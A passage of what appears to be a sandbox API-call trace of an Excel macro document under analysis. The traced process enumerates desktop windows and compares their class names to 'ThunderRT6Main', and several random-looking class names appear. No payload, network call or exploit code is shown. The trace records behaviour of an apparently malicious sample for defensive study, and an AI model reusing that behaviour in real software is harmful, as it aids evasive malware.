_DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0093.897] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0093.897] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0093.900] GetCurrentThreadId () returned 0xa30 [0093.900] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0093.900] GetDesktopWindow () returned 0x10010 [0093.900] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0093.900] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0093.900] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0093.900] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.900] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0093.900] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.900] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.900] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0093.900] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.900] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.900] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0093.900] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.900] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.900] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0093.900] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.900] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.900] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0093.900] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.900] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.901] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0093.901] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.901] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.901] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0093.901] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.901] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.901] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0093.901] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0093.901] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.901] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0093.901] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0093.901] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.901] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0093.901] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.901] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0093.901] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0093.901] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.901] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0093.901] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0093.901] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.901] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0093.901] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0093.901] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0093.901] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0093.901] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0093.901] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0093.901] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.901] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.901] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.902] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0093.902] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.902] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.902] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.902] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0093.902] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.902] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.902] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.902] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0093.902] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.902] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.902] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.902] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0093.902] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.902] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.902] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.902] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0093.902] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0093.902] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0093.902] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.902] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0093.902] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0093.902] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0093.902] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.902] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0093.902] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0093.902] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0093.902] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0093.902] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.902] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.902] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0093.902] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0093.902] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0093.902] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0093.903] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0093.903] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0093.903] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0093.903] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0093.903] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.903] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0093.903] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0093.903] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0093.903] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0093.903] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.903] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0093.903] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0093.903] IsWindowEnabled (hWnd=0x302dc) returned 1 [0093.903] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0093.903] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0093.904] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0093.904] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0093.904] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0093.904] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0093.904] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0093.904] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0093.904] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.904] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0093.904] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0093.904] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0093.904] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0093.904] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.904] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.904] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.904] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0093.904] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0093.904] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0093.904] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0093.904] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.904] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.904] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.904] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0093.904] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0093.904] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0093.904] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0093.904] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.904] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.904] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.904] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0093.904] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0093.904] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0093.904] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0093.904] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.904] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.904] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.904] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0093.904] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0093.904] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0093.904] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0093.904] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0093.904] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0093.904] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.904] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0093.904] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0093.904] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.905] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.905] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0093.905] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0093.905] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0093.905] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0093.905] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.905] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0093.905] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0093.905] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0093.905] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0093.905] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0093.905] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0093.905] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.905] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0093.905] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0093.905] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0093.905] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0093.905] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0093.905] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0093.905] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.905] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0093.905] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0093.905] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0093.905] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0093.905] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.905] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.905] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.905] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0093.905] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0093.905] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0093.905] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0093.905] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.905] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.905] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.905] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0093.905] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0093.905] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0093.905] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0093.905] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.905] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.905] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.905] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0093.905] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0093.905] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0093.905] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0093.905] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.905] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.906] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.922] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0093.922] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0093.922] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0093.922] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0093.922] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0093.923] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.923] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0093.923] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0093.923] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0093.923] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0093.923] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0093.923] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0093.923] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0093.923] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0093.923] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.923] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0093.923] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0093.923] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0093.923] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0093.923] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.923] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0093.923] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0093.923] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0093.923] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0093.923] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0093.923] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0093.923] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.923] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0093.923] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0093.923] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.923] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0093.923] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0093.923] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0093.923] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0093.923] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0093.923] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.923] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.923] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0093.924] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0093.924] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0093.924] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0093.924] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0093.924] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.924] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0093.924] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0093.924] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0093.924] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0093.924] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0093.924] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 